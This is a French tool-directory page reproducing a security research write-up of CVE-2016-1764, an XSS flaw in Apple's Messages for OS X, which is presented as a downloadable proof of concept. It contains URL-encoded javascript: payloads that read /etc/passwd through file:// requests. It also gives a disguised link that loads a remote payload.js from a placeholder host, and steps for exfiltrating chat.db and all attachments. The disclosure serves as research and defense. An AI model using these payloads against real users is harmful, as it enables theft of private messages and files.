Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/moloch--/cve-2016-1764
OSINT (Open Source Intelligence)iOS SecurityExploitationWeb Application ExploitationData ExfiltrationInformation GatheringMobile Security
GitHubmoloch--/cve-2016-1764

cve-2016-1764

Extraction of iMessage Data via XSS

Voir le dépôt
5130il y a 10 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Code d'exploitation POC pour CVE-2016-1764

Récupération des données iMessage en texte clair sans casser la cryptographie

Auteurs

  • Shubham Shah de Bishop Fox
  • Joe DeMesy de Bishop Fox
  • Matthew Bryant

CVE-2016-1764

Vendeur: Apple

Date de publication: 8 avril 2016

Date du correctif: 21 mars 2016

Systèmes affectés: Messages sur OSX Mountain Yosemite, El Capitan

Alors que la majorité des débats récents autour d'Apple se sont concentrés sur la cryptographie, l'industrie et les forces de l'ordre semblent avoir oublié que des vulnérabilités applicatives plus simples peuvent être exploitées pour contourner complètement le chiffrement. CVE-2016-1764, corrigée par Apple en mars 2016, est un bogue au niveau applicatif qui entraîne la divulgation à distance de tout le contenu des messages et pièces jointes en texte clair en exploitant le client iMessage sous OS X. De plus, vous n'avez pas besoin d'un diplôme d'études supérieures en mathématiques pour l'exploiter, ni d'une connaissance détaillée de la gestion de la mémoire, du shellcode ou des chaînes ROP contournant l'ASLR. En fait, il s'agit d'un bogue relativement simple qui peut être exploité par toute personne ayant des connaissances de base en JavaScript.

Résumé technique

Messages (iMessage) pour OS X d'Apple implémente son interface utilisateur à l'aide d'une version embarquée de WebKit. De plus, Messages sur OS X rend toute URI comme un lien HTML <a href= cliquable. Un attaquant peut créer une simple URI JavaScript (par exemple, javascript:) qui, lorsqu'elle est cliquée, accorde à l'attaquant une exécution JavaScript initiale (XSS) dans le contexte du DOM de l'application. Bien que la bibliothèque WebKit embarquée utilisée par Messages pour OS X s'exécute dans une origine applewebdata://, un attaquant peut toujours lire des fichiers arbitraires en utilisant des requêtes GET XMLHttpRequest (XHR) vers une URI file:// car aucune politique de même origine (SOP) n'est implémentée. En abusant de XHR pour lire des fichiers, un attaquant peut télécharger l'intégralité de l'historique des discussions et des pièces jointes d'une victime vers un serveur distant aussi rapidement que la connexion Internet de la victime le permet ; la seule interaction utilisateur requise est de cliquer sur un seul lien dans la discussion. De plus, si le transfert SMS est activé, l'attaquant peut également récupérer les messages envoyés/reçus depuis l'iPhone de la victime.

Si vous voulez connaître tous les détails croustillants, lisez la suite.

Détails techniques

Messages pour OS X

Messages pour OS X utilise une version embarquée de WebKit pour une grande partie de son interface utilisateur. Lorsque des messages sont envoyés ou reçus par l'application, du HTML est inséré dans le DOM pour rendre l'interface utilisateur et tout contenu multimédia/pièce jointe envoyé. Tous les messages envoyés via l'application sont rendus dans un DOM, donc des vulnérabilités web courantes côté client peuvent affecter l'application.

Lors des tests du client Messages pour OS X, il a été constaté que des schémas de protocole arbitraires étaient automatiquement convertis en liens et insérés dans le DOM. Par exemple, les URI suivantes ci-dessous sont toutes insérées comme liens dans la WebView lorsqu'elles sont envoyées :

root@kitploit:~
test://test
smb://[email protected]
file:///etc
anyurihandler://anycontentafter

Comme Messages pour OS X n'implémente pas de liste blanche des protocoles acceptés, un attaquant peut envoyer un message à une victime contenant une URI JavaScript javascript:, qui sera convertie en un lien cliquable sur la machine de la victime.

Une fois cliqué, le WebKit embarqué exécutera fidèlement le JavaScript contrôlé par l'attaquant dans l'origine actuelle, par exemple :

js_prompt_1

Notez que %0a (c'est-à-dire \n) est utilisé pour échapper le commentaire JavaScript //, qui est nécessaire pour correspondre au motif de liaison de l'analyseur. Une fois le code interprété, il ressemble à :

root@kitploit:~
//bishopfox.com/research?
prompt(1)

En cliquant sur ce lien, une invite JavaScript est déclenchée dans Messages pour OS X :

Cependant, Messages pour OS X est une application de bureau, pas un site web. Par conséquent, le JavaScript est exécuté dans le contexte d'une origine applewebdata:// :

Cependant, le code de l'attaquant s'exécute dans une implémentation WebKit complète, et donc XMLHttpRequest est disponible à l'exécution. L'une des principales différences entre une version embarquée de WebKit et un navigateur web comme Chrome ou Safari est que la version embarquée n'implémente aucune politique de même origine (SOP), puisqu'il s'agit d'une application de bureau native. Un attaquant peut en profiter pour lire des fichiers du système de fichiers local sans violer la politique de même origine en envoyant des requêtes GET XMLHttpRequest vers des URI file://. La seule exigence est que l'attaquant doit connaître le chemin complet du fichier ; les chemins relatifs du système de fichiers (par exemple ~/.ssh/id_rsa) ne peuvent pas être utilisés.

Lecture de fichiers

Par exemple, le JavaScript suivant peut être exécuté par le DOM de l'application Messages pour lire le fichier /etc/passwd :

root@kitploit:~
function reqListener () {
  prompt(this.responseText);
  // send back to attackers server here
}

var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "file:///etc/passwd");
oReq.send();

Converti en charge utile URI, le code apparaît comme suit :

root@kitploit:~
javascript://bishopfox.com/research?%0d%0afunction%20reqListener%20()%20%7B%0A%20%20prompt(this.responseText)%3B%0A%7D%0Avar%20oReq%20%3D%20new%20XMLHttpRequest()%3B%0AoReq.addEventListener(%22load%22%2C%20reqListener)%3B%0AoReq.open(%22GET%22%2C%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22)%3B%0AoReq.send()%3B

Lorsqu'il est cliqué dans l'application Messages, l'invite suivante apparaît :

Comme le vecteur ci-dessus est assez long et semble très suspect, il est possible de raccourcir l'URI en chargeant dynamiquement du JavaScript depuis un domaine et en l'incluant dans le DOM. Par exemple, le vecteur suivant injecte le JavaScript de http://example.com/1.js dans le DOM de Messages :

root@kitploit:~
javascript://bishopfox.com/research?%0a%28function%28s%29%7Bs.src%3D%27http%3A%2f%2fexample.com%2f1.js%27%3Bdocument.body.appendChild%28s%29%7D%29%28document.createElement%28%27script%27%29%29

Le fichier JavaScript référencé //example.com/1.js dans le vecteur ci-dessus peut contenir des instructions JavaScript arbitraires d'une longueur arbitraire.

Cependant, le bac à sable de l'application OS X restreignait l'accès au système de fichiers uniquement à ~/Library/Messages/* et à certains autres répertoires système non utilisateur comme /etc/.

Vol de la base de données et des pièces jointes de Messages

Lorsque des messages et des pièces jointes sont reçus par Messages sur OS X, ils sont enregistrés dans le répertoire suivant :

/Users/<username>/Library/Messages/*

Le contenu textuel de ces messages et d'autres métadonnées sont stockés dans une base de données SQLite située à :

/Users/<username>/Library/Messages/chat.db

Cette base de données contient également les emplacements de toutes les pièces jointes situées sur la machine de l'utilisateur.

Afin de voler cette base de données, et par la suite toutes les pièces jointes jamais reçues ou envoyées par une victime, une charge utile d'attaque plus avancée est nécessaire.

Aperçu de l'exploitation

Les étapes suivantes doivent être effectuées avant que les données puissent être exfiltrées avec succès par un attaquant :

  1. Obtenir une exécution JavaScript initiale dans le DOM de l'application
  2. Obtenir l'utilisateur actuel (encore une fois, ~ ne peut pas être utilisé)
  3. En utilisant le nom d'utilisateur, générer un chemin complet pour le fichier chat.db, c'est-à-dire /Users/ExampleUser/Library/Messages/chat.db
  4. Utiliser XMLHttpRequest pour lire la base de données chat.db et interroger celle-ci pour obtenir les chemins des fichiers des pièces jointes
  5. Télécharger la base de données et toutes les pièces jointes en utilisant XMLHttpRequest ou WebSockets si vous souhaitez un accès en temps réel.

Nous pouvons déterminer l'utilisateur actuellement connecté en demandant, puis en analysant /Library/Preferences/com.apple.loginwindow.plist. Ce fichier est commodément lisible depuis le bac à sable de l'application OS X. À partir de là, il est trivial de construire le chemin complet vers le chat.db de l'utilisateur.

Une fois que le fichier de base de données a été exfiltré avec succès, il peut être passé à un script côté serveur personnalisé qui extrait les chemins complets des pièces jointes envoyées et reçues par la victime, trouvés dans la table attachments de la base de données.

Ces chemins complets sont récupérés par la charge utile JavaScript malveillante, puis sont utilisés pour exfiltrer les fichiers de pièces jointes de la machine de la victime via XMLHttpRequest.

Ensuite, l'attaquant fait un peu d'obscurcissement pour rendre l'URL un peu plus crédible :

root@kitploit:~
javascript://www.facebook.com/photo.php?fbid=111789595853599&set=a.111055039260388.1073741826.100010676767694&type=3&theater%0A%28function%28s%29%7Bs.src%3D%27http%3A%2f%2fyourhostname%3A8888%2ff%2fpayload.js%27%3Bdocument.body.appendChild%28s%29%7D%29%28document.createElement%28%27script%27%29%29

Si la victime devait cliquer sur l'URI ci-dessus dans l'application Messages pour OS X, tout l'historique des discussions de la victime et toutes les pièces jointes associées seront envoyés à l'attaquant.

À retenir

JavaScript est partout

Les failles de sécurité des applications Web ne sont plus limitées au seul navigateur, mais ont également trouvé leur chemin dans les applications natives. Bien qu'il puisse être productif pour les développeurs d'utiliser des technologies Web telles que WebKit, ou son parent bien plus dangereux nw.js, pour créer des applications de bureau, les bonnes pratiques de sécurité des applications Web doivent toujours être suivies.

Télécharger l’outil